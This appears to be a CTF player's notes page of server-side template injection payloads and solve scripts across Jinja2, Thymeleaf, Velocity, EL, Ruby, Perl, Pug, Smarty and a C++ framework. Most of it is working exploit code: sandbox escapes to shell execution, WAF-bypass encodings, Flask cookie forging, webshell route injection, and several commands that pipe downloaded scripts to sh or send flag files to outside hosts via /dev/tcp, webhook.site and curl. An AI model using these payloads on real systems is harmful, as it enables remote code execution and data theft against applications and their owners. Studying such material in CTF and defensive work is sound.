Skip to content

Categories

SSTI

**Using MRO and subclasses to access subprocess.Popen:**This accesses the base object class via MRO, gets all subclasses, and uses index 399 (subprocess.Popen) to execute shell commands.AI writeup (co...

Created

Updated

10 min read

Reading time

1 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.


**Using MRO and subclasses to access subprocess.Popen:**

{%print(((1|attr('__class__')|attr('__mro__'))[1]|attr('__subclasses__'))()[399]('wget 1pc$(ls -d)tf:4444 -O-|sh',shell=True))%}

This accesses the base object class via MRO, gets all subclasses, and uses index 399 (subprocess.Popen) to execute shell commands.

Velocity C# SSTI

Attachments
References

Python Jinja

{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x66\x6c\x61\x67")|attr("read")()}}
    payload = """    {{request|attr("application")|attr(request.args.get("a"))|attr(request.args.get("c"))(request.args.get("b"))|attr(request.args.get("c"))(request.args.get("d"))("os")|attr("popen")(request.args.get("cmd"))|attr("read")()}}    """.strip()
    params = {
        "a": "__globals__",
        "b": "__builtins__",
        "c": "__getitem__",
        "d": "__import__",
        "cmd": "cat flag.txt"    }

java ssti

AI writeup (codegate quals ctf 2023)

  • trigger SSTI via **{} in containsExpression() due to state transition flaw: https://github.com/thymeleaf/thymeleaf-spring/blob/f078508ce7d1d823373964551a007cd35fad5270/thymeleaf-spring6/src/main/java/org/thymeleaf/spring6/util/SpringRequestUtils.java#L87
  • bypass containsSpELInstantiationOrStaticOrParam() T( TypeReference check by T%00(, see https://github.com/thymeleaf/thymeleaf-spring/blob/f078508ce7d1d823373964551a007cd35fad5270/thymeleaf-spring6/src/main/java/org/thymeleaf/spring6/util/SpringStandardExpressionUtils.java#L38 and https://github.com/spring-projects/spring-framework/blob/9cf7b0e230af83e08efa73a43334c75f6110988f/spring-expression/src/main/java/org/springframework/expression/spel/standard/Tokenizer.java#L260
  • bypass containsSpELInstantiationOrStaticOrParam() T( TypeReference check by T%00(, see https://github.com/thymeleaf/thymeleaf-spring/blob/f078508ce7d1d823373964551a007cd35fad5270/thymeleaf-spring6/src/main/java/org/thymeleaf/spring6/util/SpringStandardExpressionUtils.java#L38 and https://github.com/spring-projects/spring-framework/blob/9cf7b0e230af83e08efa73a43334c75f6110988f/spring-expression/src/main/java/org/springframework/expression/spel/standard/Tokenizer.java#L260
  • use org.springframework.util.ReflectionUtils for reflection, bypassing isMemberAllowed() check: https://github.com/thymeleaf/thymeleaf/blob/eb546cc968b4393f813c07c29de084740c1a2b2f/lib/thymeleaf/src/main/java/org/thymeleaf/util/ExpressionUtils.java#L187
  • up to this was my old solution, but we can’t use %00 so

  • access templateEngine instantiated as a bean by @beanName, use this to re-trigger SSTI with fully controlled string (including nulls)
  • #!/usr/bin/env python3
    
    import requests
    from urllib.parse import quote
    
    HOST, PORT = '3.36.76.180', '34543'
    
    # listen on this port!
    #LHOST, LPORT = '172.17.0.1', 65432
    
    def findMethod(cls, method, *paramCls):
        params = ''.join(f""","".class.forName("{pc}")""" for pc in paramCls)
        payload = f"""
            T\x00(org.springframework.util.ReflectionUtils).findMethod(
                "".class.forName('{cls}'),
                "{method}"
                {params}
            )
        """
        return ''.join(payload.split())
    
    def invokeMethod(method, obj='null', *argObjs):
        args = ''.join(f",{arg}" for arg in argObjs)
        payload = f"""
            T\x00(org.springframework.util.ReflectionUtils).invokeMethod(
                {method},
                {obj}
                {args}
            )"""
        return ''.join(payload.split())
    
    
    getRuntime = findMethod('java.lang.Runtime', 'getRuntime')
    exec = findMethod('java.lang.Runtime', 'exec', '[Ljava.lang.String;')
    waitFor = findMethod('java.lang.Process', 'waitFor')
    
    runtime = invokeMethod(getRuntime)
    process = invokeMethod(exec, runtime, f"COMMAND_GOES_HERE")
    ret = invokeMethod(waitFor, process)
    
    command = ['bash', '-c', f'cat /flag* > /dev/tcp/0.tcp.jp.ngrok.io/11697']
    assert all('!' not in cmd for cmd in command)
    cmdarg = f"'{'!'.join(command)}'.split('!')"
    ret = ret.replace('COMMAND_GOES_HERE', cmdarg)
    
    def getStr(s):
        rs = []
        acc = ''
        for c in s:
            if c in '/>\'\\"\x00$':
                if acc:
                    rs.append(f'"{acc}"')
                    acc = ''
                rs.append(f'"".copyValueOf("a".toCharArray()[0].toChars({ord(c)}))')
            else:
                acc += c
        if acc:
            rs.append(f'"{acc}"')
        return '+'.join(rs)
    
    pl = f'http://{HOST}:{PORT}/' + quote(('''
    __|*yeet **{
    "a"
    + @servletContext.setAttribute("t","".class.forName("org.thymeleaf.TemplateEngine").newInstance())
    + @servletContext.getAttribute("t").setDialects(@templateEngine.getDialects())
    + @servletContext.getAttribute("t").setTemplateResolver("".class.forName("org.thymeleaf.templateresolver.StringTemplateResolver").newInstance())
    + @servletContext.getAttribute("t").process((''' + getStr('[[${' + ret + '}]]') + '''), "".class.forName("org.thymeleaf.context.Context").newInstance())
    + "lolz"
    }|__''').replace('\n', ''))
    
    #print(len(pl), len(ret), pl)
    
    print(requests.get(pl).text)
    

    Java SSTI With WAF

    https://github.com/dimasma0305/My-CTF-Challenges/tree/main/Hology-final-2023/Holo-Blog

    frog-waf Sekai CTF 2023

        SQLI("\"", "'", "#"),
        XSS(">", "<"),
        OS_INJECTION("bash", "&", "|", ";", "`", "~", "*"),
        CODE_INJECTION("for", "while", "goto", "if"),
        JAVA_INJECTION("Runtime", "class", "java", "Name", "char", "Process", "cmd", "eval", "Char", "true", "false"),
        IDK("+", "-", "/", "*", "%", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9");

    SSTI di buildConstraintViolationWithTemplate, dimana kita bisa mengontrol value %s dari variable message

    ![[Pasted image 20230828190157.png]] ada juga beberapa WAF yang perlu di bypass yang terdapat di src/main/java/com/sekai/app/waf

        SQLI("\"", "'", "#"),    XSS(">", "<"),    OS_INJECTION("bash", "&", "|", ";", "`", "~", "*"),    CODE_INJECTION("for", "while", "goto", "if"),    JAVA_INJECTION("Runtime", "class", "java", "Name", "char", "Process", "cmd", "eval", "Char", "true", "false"),    IDK("+", "-", "/", "*", "%", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9");

    solve script:

    import itertools
    import httpx
    from pwn import *# URL = "http://localhost:80"URL = "http://frog-waf.chals.sekai.team/"context.log_level = logging.DEBUG
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.Client(base_url=url)
        def addContact(s, firstname, lastname, description, country):
            return s.c.post("/addContact", json={
                "firstName": firstname,
                "lastName": lastname,
                "description": description,
                "country": country
            })
    class API(BaseAPI):
        def send_payload(s, payload):
            return s.addContact(
                firstname="dimas",
                lastname="dimas",
                description="dimas",
                country=payload
            )
    def get_int(i):
        if i == 0:
            return "message.equals(message).compareTo(message.equals(message))"    target = i
        one = "message.equals(message).compareTo(message.equals(message.hashCode()))"    curr = one
        for i in range(target - 1):
            curr = f"message.length().sum({one}, {curr})"    return curr
    def get_chr(i):
        # charAt - 22    # toChars - 39    # String.charAt(0).toChars(i)[0].toString()    return f"message.getClass().getMethods()[{get_int(22)}].invoke(message, {get_int(0)}).getClass().getMethods()[{get_int(39)}].invoke(message,{get_int(i)})[{get_int(0)}].toString()"def get_str(txt):
        res = get_chr(ord(txt[0]))
        for i in range(1, len(txt)):
            res += f".concat({get_chr(ord(txt[i]))})"    return res
    if __name__ == "__main__":
        api = API()
        for i in itertools.count():
            # https://ares-x.com/tools/runtime-exec/        # cat /flag*        cmd = "bash -c {echo,Y2F0IC9mbGFnKg==}|{base64,-d}|{bash,-i}"        res = api.send_payload((
                "${"            f"[].getClass()[{get_str('forName')}]({get_str('java.lang.Runtime')}).getMethods()[{get_int(6)}]"            f".invoke(null).exec({get_str(cmd)}).getInputStream().readAllBytes()[{get_int(i)}]"            "}"        ))
            violations = res.json()["violations"]
            for violation in violations:
                if violation["fieldName"] == "country":
                    country: str = violation["message"]
                    break        try:
                print(chr(int(country.split(" ")[0])), end="")
            except:
                continue

    reference: https://github.com/SuperStormer/writeups/blob/master/sekaictf_2023/web/frog-waf/solve.py https://gist.github.com/zeyu2001/1b9e9634f6ec6cd3dcb588180c79bf00

    Velocity (Java)

    ref: https://portswigger.net/research/server-side-template-injection

    #set($str=$name.getClass().forName('java.lang.String'))
    #set($chr=$name.getClass().forName('java.lang.Character'))
    #set($exc=$name.getClass().forName('java.lang.Runtime').getRuntime().exec("whoami"))
    $exc.waitFor()
    #set($out=$exc.getInputStream())
    #foreach($i in [1..$out.available()])
    $str.valueOf($chr.toChars($out.read()))
    #end
     String payload = "${date.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami.exe\").getInputStream().readAllBytes()}";     

    Terra rust

    https://www.cjxol.com/posts/corctf-2023-crabspace-web-writeup/

    `{{ __tera_context }}`
    `{{ get_env(name="SECRET") }}`

    Mas Daf Challenge

    sti in header

    GET /?url=@2130706433:1337/environment?admin={%print(request|attr(request.referrer.split().pop(0))|attr(request.referrer.split().pop(1))|attr(request.referrer.split().pop(2))(request.referrer.split().pop(3))|attr(request.referrer.split().pop(2))(request.referrer.split().pop(4))(request.referrer.split().pop(5))|attr(request.referrer.split().pop(6))(request.referrer.split().pop(7))|attr(request.referrer.split().pop(8)))()%}%23/about/ HTTP/1.1
    Host: example
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Cache-Control: max-age=0
    Referer: application __globals__ __getitem__ __builtins__ __import__ os popen cat${IFS}/* read

    SSTI In El

    Untitled

    import httpx
    
    URL = "http://localhost:20080/"
    
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.Client(base_url=url)
    
        def api_internal(self, name):
            return self.c.post("/api/external/..;/intern%61l/", headers={"content-type":"application/json"}, data='{"name":"'+name+'"}')
    
    class API(BaseAPI):
        ...
    
    if __name__ == "__main__":
        api = API()
        res = api.api_internal("""${''.getClass().forName('java.lang.Runtim\\u0065').getM\\u0065thods()[6].invok\\u0065(''.getClass().forName('java.lang.Runtim\\u0065')).\\u0065xec('curl https://webhook.site/be08ac4b-8f65-464f-b2be-28dd00573f89 -F=@/FLAG')}""")
        print(res.text)
    

    another solution we can use

    ''.getClass().forName('org.springframework.context.support.ClassPathXmlApplicationContext').getDeclaredConstructor(''.class).newInstance("http://127.0.0.1:7777/exp.xml")

    Jinja SSTI Trick on botlers 2024 web/pwnhub

    waf:

    INVALID = ["{{", "}}", ".", "_", "[", "]","\\", "x"]

    solver:

    from hashlib import sha256
    import sys
    import httpx
    import html
    
    URL = "http://192.168.183.138:8000"
    URL = "http://pwnhub.hammer.b01le.rs"
    
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.Client(base_url=url)
        def createpost(self, content):
            return self.c.post("/createpost", data={
                "content": content,
            })
        def register(self, confirm_password, username, email, password):
            return self.c.post("/register", data={
                "password": password,
                "confirm-password": confirm_password,
                "username": username,
                "email": email,
            })
        def login(self, username, password):
            return self.c.post("/login", data={
                "username": username,
                "password": password,
            })
    class API(BaseAPI):
        ...
    from random import getrandbits
    import flask_unsign
    
    def gen():
        for i in range(0, 999999):
            yield str(hex(i))
    
    SECRET = sys.argv[1]
    
    if __name__ == "__main__":
        api = API()
        api.register(
            username="a",
            password="a",
            email="a",
            confirm_password="a"
        )
        res = api.login("a", "a")
        session_cookie = api.c.cookies.get("session")
        print("session cookie:", session_cookie)
        session = flask_unsign.decode(session_cookie)
        print("session:", session)
        s = flask_unsign.Cracker(session_cookie, threads=32, quiet=True)
        if not SECRET:
            s.crack(gen())
        else:
            s.secret = SECRET
        session["_user_id"] = "admin"
        print("secret:", s.secret)
        new_session_cookie = flask_unsign.sign(session, secret=s.secret)
        print("new session cookie:", new_session_cookie)
        api = API()
        api.c.cookies.set("session", new_session_cookie)
        content = '''
    {%set a=request|attr("args")|attr("get")%}
    {%set os=a|attr(a("b"))|attr(a("d"))(a("c"))|attr(a("d"))(a("e"))("os")|attr("popen")(a("f"))|attr("read")()%}
    {%print(os)%}
    '''.replace("\n", "")
        print("content len:", len(content))
        res = api.createpost(content)
        print(res.text)
        url = "/view/"+sha256((session["_user_id"]+content).encode()).hexdigest()
        res = api.c.get(url, params={"b": "__globals__", "c": "__builtins__", "d": "__getitem__", "e": "__import__", "f": "cat /flag.txt"})
        print(html.unescape(res.text))

    Jinja2

    import binascii
    import requests
    import re
    import html
    
    URL = "http://103.49.238.77:28961/"
    
    def req(payload):
        res = requests.post(
            URL,data={
                "n": payload
            }
        )
        text = res.text
        print(text)
    
    
    def get_global_variable():
        req(r'(lipsum,)|list|last')
        req(r'(lipsum,)|map(**{"at"+"tribute": "\x5F\x5Fglobals\x5F\x5F"})|list|last')
    
    def get_attr_os():
        req(r'(lipsum,)|map(**{"at"+"tribute": "\x5F\x5Fglobals\x5F\x5F"})|map(**{"at"+"tribute":"os"})|list|last')
    
    def get_attribute_popen():
        req(r'(lipsum,)|map(**{"at"+"tribute": "\x5F\x5Fglobals\x5F\x5F"})|map(**{"at"+"tribute":"os"})|map(**{"at"+"tribute":"popen"})|list|last')
    
    # ini tidak bisa karena /bin di delete
    def get_rce(cmd):
        return r'((((lipsum,)|map(**{"at"+"tribute": "\x5F\x5Fglobals\x5F\x5F"})|map(**{"at"+"tribute":"os"})|map(**{"at"+"tribute":"popen"})|list|last)("%s"),)|map(**{"at"+"tribute": "read"})|list|last)()' % cmd
    
    def execute(cmd):
        return r'''((lipsum,)|map(**{"at"+"tribute": "\x5F\x5Fglobals\x5F\x5F"})|map(**{"at"+"tribute":"\x5F\x5Fbu\x69ltins\x5F\x5F"})|map(**{"at"+"tribute":"exec"})|list|last)("%s")''' % cmd
    
    def hex_encode(x: str):
        x = binascii.hexlify(x.encode()).decode()
        new_x = ""
        for i in range(0, len(x), 2):
            new_x += r"\x{}{}".format(x[i], x[i+1])
        return new_x
    
    if __name__ == "__main__":
        cmd = hex_encode("""
    from flask import current_app, after_this_request
    @after_this_request
    def hook(*args, **kwargs):
        from flask import make_response
        import os
        with open("flag_my_secret_flag_( T - T ).txt", "r") as f:
            flag = f.read()
        r = make_response(flag.replace('TECHCOMFEST2023', 'f'))
        # r = make_response(os.listdir())
        return r
    """)
        ex = execute(cmd)
        req(ex)

    We can do something like this if there’s no internet connection into the container

    {{ self.__init__.__globals__.__builtins__.exec("gl.update(y=lambda: __import__('subprocess').check_output('/readflag'.split(' '), shell=True))", {"gl":self.__init__.__globals__} )  }}{{self.__init__.__globals__.__builtins__.__import__("sys").modules["__main__"].app.view_functions.update(login=self.__init__.__globals__.y) }}

    something like this too is possible

    AD world ezrender web

    import requests
    
    from server_addr import remote_addr
    
    jwt = "eyJuYW1lIjogImdnZzEiLCAic2VjcmV0IjogImV5SjBlWEFpT2lKS1YxUWlMQ0poYkdjaU9pSklVekkxTmlKOS5leUp1WVcxbElqb2laMmRuTVNJc0ltbHpYMkZrYldsdUlqb2lNU0o5LmgwcDUyaDNGNm9tUk1hZ3dacHg3LUdSXzdveEU5S2lrenJTQXZmSkVGbEkifQ=="
    
    headers = {"Cookie": "Token="+jwt}
    rs = requests.Session()
    
    shellcode = '''
    __import__('flask').current_app._got_first_request=False;__import__('flask').current_app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(__import__('flask').request.args.get('cmd', 'whoami')).read())
    '''.strip()
    
    import base64
    shellcode_b64 = base64.b64encode(shellcode.encode()).decode()
    
    for i in range(80,81):
        code='''
        {{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(DATA).__init__.__globals__.__getitem__("__builtins__").__getitem__("ex"+"ec")("import base64;ex"+"ec(base64.b64decode(b'XXX').decode())")}}
        '''.strip()
    
        code = code.replace("DATA",str(i))
        code = code.replace("XXX",shellcode_b64)
    
        resp = rs.post(remote_addr + "/admin",data={"code":code},headers=headers)
        print(i,resp.text)
        if resp.status_code != 500:
            print(i,resp.text)
            break

    SSTI In Ruby and Bypass Some WAF

    Untitled

      FILTER = ["system", "eval", "exec", "Dir", "File", "IO", "require", "fork", "spawn", "syscall", '"', "'", "(", ")", "[", "]","{","}", "`", "%","<",">"]

    Solver:

    import httpx
    
    URL = "http://3.34.253.4:3000/"
    
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.Client(base_url=url)
        def get_token(self):
            res = self.c.get("/")
            return res.text.split('authenticity_token" value="')[1].split('"')[0]
        def calculate_fee(self, user_leverage, user_entry_price, user_exit_price, user_quantity, authenticity_token):
            return self.c.post("/calculate_fee", json={
                "user_entry_price": user_entry_price,
                "user_exit_price": user_exit_price,
                "user_quantity": user_quantity,
                "authenticity_token": authenticity_token,
                "user_leverage": user_leverage,
            })
    class API(BaseAPI):
        ...
    def convert_string_to_hex(string):
        return '+'.join([f"0x{ord(c):02x}.chr" for c in string])
    
    if __name__ == "__main__":
        api = API()
        token = api.get_token()
        res = api.calculate_fee(
            user_leverage="11",
            user_entry_price=f"0 and send {convert_string_to_hex('system')}, {convert_string_to_hex('curl https://webhook.site/d0549b5f-56e4-478b-a7c7-680f50fba823 --data `cat flag* | base64`')}  or 1",
            user_exit_price="30000",
            user_quantity="31337",
            authenticity_token=token
        )
        print(res.text)

    Perl SSTI in library Template

    Soal

    use strict;
    use warnings;
    
    use Dancer2;
    use Template;
    
    my @greetings = ("Hello", "Ebe", "Greetings", "Hi", "Good day");
    
    get '/' => sub {
        my $greeting = $greetings[rand @greetings];
        template 'index' => {
            greeting => $greeting
        };
    };
    
    post '/debug' => sub {
        my $input = body_parameters->get('debug');
        my $output;
    
        my $template = Template->new({
            INCLUDE_PATH => './views'
        });
        $template->process(\$input, {}, \$output) or die $template->error();
        return $output;
    };
    
    start;

    Solver

    import httpx
    
    URL = "http://piggy.web.jctf.pro/"
    # URL = "http://localhost:1234"
    
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.Client(base_url=url, timeout=9999)
    
        def debug(self, debug):
            return self.c.post("/debug", data={"debug": debug})
    
    class API(BaseAPI):
        ...
    
    if __name__ == "__main__":
        api = API()
        res = api.debug("""
                        [% USE dir = Directory("/app/") %]
    
        # files returns list of regular files
        [% FOREACH file = dir.files %]
           [% file.name %] [% file.path %] ...
        [% END %]
    
        # dirs returns list of sub-directories
        [% FOREACH subdir = dir.dirs %]
           [% subdir.name %] [% subdir.path %] ...
        [% END %]
    
        # list returns both interleaved in order
        [% FOREACH item = dir.list %]
           [% IF item.isdir %]
              Directory: [% item.name %]
           [% ELSE %]
              File: [% item.name %]
           [% END %]
        [% END %]
    
        # define a VIEW to display dirs/files
        [% VIEW myview %]
           [% BLOCK file %]
           File: [% item.name %]
           [% END %]
    
           [% BLOCK directory %]
           Directory: [% item.name %]
           [% item.content(myview) | indent -%]
           [% END %]
        [% END %]
    
        # display directory content using view
        [% myview.print(dir) %]
    
    
        [% USE mydata = datafile('/app/flag_980aef6e461ca1009ea62da051753b38.txt', delim = ' is your fat flag:') %]
    
        [% FOREACH record = mydata %]
           [% record.Here %]
        [% END %]
    """)
        print(res.text)
    [% USE mydata = datafile('/app/flag_980aef6e461ca1009ea62da051753b38.txt', delim = ' is your fat flag:') %][% FOREACH record = mydata %]
           [% record.Here %]
        [% END %]
    [% template.new({ 'BLOCK' => 'use Data::Dumper; print STDERR Dumper(\%ENV); die' }) %]

    SSTI IN C++ Framework

    Niceview 1

    CrewCTF 2024

        pso = open("payload.so", "rb").read()
        with zipfile.ZipFile(zf, 'w') as myzip:
            myzip.writestr(f'/app/views/d/{name}.csp', payload)
            myzip.writestr(f'/app/views/d/{name}.so', pso)
        zf.seek(0)
        r = requests.post(HOST + "/upload", files={"score": (b"score.mscz", zf.read())})

    Niceview 2

    CrewCTF 2024

    payload = f"""
    <%inc #include "{rs}_util.json" %>
    {{% goflag() %}}
    """
    
    payload2 = """
    #include <fstream>
    std::string goflag() {
        std::ifstream fin("/app/flag.txt");
        std::string line;
        std::getline(fin, line);
        return line;
    }
    """
    
    zf = io.BytesIO()
    
    with zipfile.ZipFile(zf, 'w') as myzip:
        myzip.writestr(f'/app/views/d/{name}.csp', payload)
        myzip.writestr(f'/app/views/d/{name}.csp.csp', payload)
        myzip.writestr(f'/app/views/d/{name}_util.json', payload2)

    In Smarty 5.4 you can do this to do ssti if you have a controll over the path

    idekctf 2024 (web/untitled-smarty-challenge)

    unitended (only using smarty)

    import httpx
    import asyncio
    
    URL = "http://localhost:1337"
    
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.AsyncClient(base_url=url)
    
    class API(BaseAPI):
        ...
    
    async def main():
        api = API()
        """
        work in: "smarty/smarty": "5.4"
        """
        res = await api.c.get('/', params={
            "page": '/?><?phpx/{$smarty["template_object"]->getSmarty()->writeFile({$smarty["get"]["f"]},{$smarty["get"]["p"]})}/../../../../../../../../../../../../../../../../app/composer.json'
        })
        res = await api.c.get("/", params={
            "f": "/app/index.php",
            "p": "<?php ($_GET['f'])($_GET['c']);?>",
            "page": "/x/y/../../../../../../../../../../../../../../../../app/templates_c/f0a2f96b82b2130b52832576a3cf039d36fd1114_0.file_composer.json.php"
        })
        res = await api.c.get("/", params={
            "f": "system",
            "c": "cat /flag*"
        })
        print(res.text)
    
    
    if __name__ == "__main__":
        asyncio.run(main())
    

    itended (using smarty + symphony)

    https://github.com/idekctf/idekctf-2024/tree/main/web/untitled-smarty-challenge

    GET /?page={include+file="eval:base64:e1N5bWZvbnlcQ29tcG9uZW50XFByb2Nlc3NcUHJvY2Vzczo6ZnJvbVNoZWxsQ29tbWFuZGxpbmUoImNhdCAvZmxhZyogPj4gaW5kZXgucGhwIiktPnJ1bigpfQ=="}/../home 
    GET /?page=../templates_c/f5fb5be85efe77d883dab7b400f78b1997e42bc1_0.file_home.php

    another solver

    import requests
    
    HOST = "http://localhost:1337"
    # HOST = "https://smarty-challenge-467fb63c467014b2.instancer.idek.team/"
    
    
    def save(template_code):
        template_code = template_code.replace("\n", "").replace(" ", "")
        r = requests.get(HOST, params={"page": template_code + "/../about"})
        print(r.text)
    
    
    def load(page, params={}):
        params["page"] = page
        r = requests.get(HOST, params=params)
        print(r.text)
    
    
    """
    Idea:
    1. Use $smarty.template_object to get access to some `public` methods
    2. Enable caching for templates using setCaching(2)
    3. Display another template, now that caching is enabled
    4. This new template may write to the cache now, we write raw PHP code
    5. Reload the same template again to execute the written cache
    
    Tricks:
    - `.` was blocked inside directory path, so `[""]` was used intead to access attributes
    - Storing complex or unpredictable strings inside `$smarty.get.PARAMETER`
    """
    
    if __name__ == "__main__":
        save("""
        {$t=$smarty["template_object"]}
        {$s=$t->getSmarty()}
        {$t->getCached()->writeCache($t, $smarty["get"]["p"])}
        {$s->display($smarty["get"]["d"])}
        """)  # 2
        save("""
        {$t=$smarty["template_object"]}
        {$s=$t->getSmarty()}
        {$s->setCaching(2)}
        {$s->display($smarty["get"]["d"])}
        """)  # 1
    
        # Found using `ls /app/templates_c`
        HASH1 = "dde19c67eca9d4ccb26e952c7aa654d48720ef5c"
        HASH2 = "f401cea0082ff69f69c0766cdd3408caee1416b5"
    
        path1 = f"../../../app/templates_c/{HASH1}_0.file_about.php"
        path2 = f"../../../app/templates_c/{HASH2}_0.file_about.php"
    
        load(path1, {
            "p": "<?php system('id > /tmp/pwned'); ?>",
            "d": path2
        })

    PUG template injection

    slashroot-8-challs/final/NodeJS Enthusiast/README.md at web · Kelompok-Studi-Linux-Stikom-Bali/slashroot-8-challs

    #{x = 'global.p\x72ocess.mainModule.constructor._load\x28\x27child_p\x72ocess\x27\x29.exec\x28"curl+daffa.info:1337+-d\s=\x60cat+/*\x60"\x29'}
    #{x instanceof { [Symbol.hasInstance]: eval } }
    
    GET /admin?name=%23{x='global.p\x72ocess.mainModule.constructor._load\x28\x27child_p\x72ocess\x27\x29.exec\x28"curl+daffa.info:1337+-d\s=\x60cat+/*\x60"\x29'}%23{x+instanceof+{+[Symbol.hasInstance]:+eval+}} HTTP/1.1
    Host: 127.0.0.1:21291
    Cookie: connect.sid=xxxxug

    java runtime

    "".getClass().forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null).exec("wget+http://10.18.200.111:1337/2.sh+-O+/tmp/nabilganteng.sh")

    Categories & Topics

    This note is categorized under the following topics. Click on any category to explore more related content.

    Share this note

    Share:

    Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.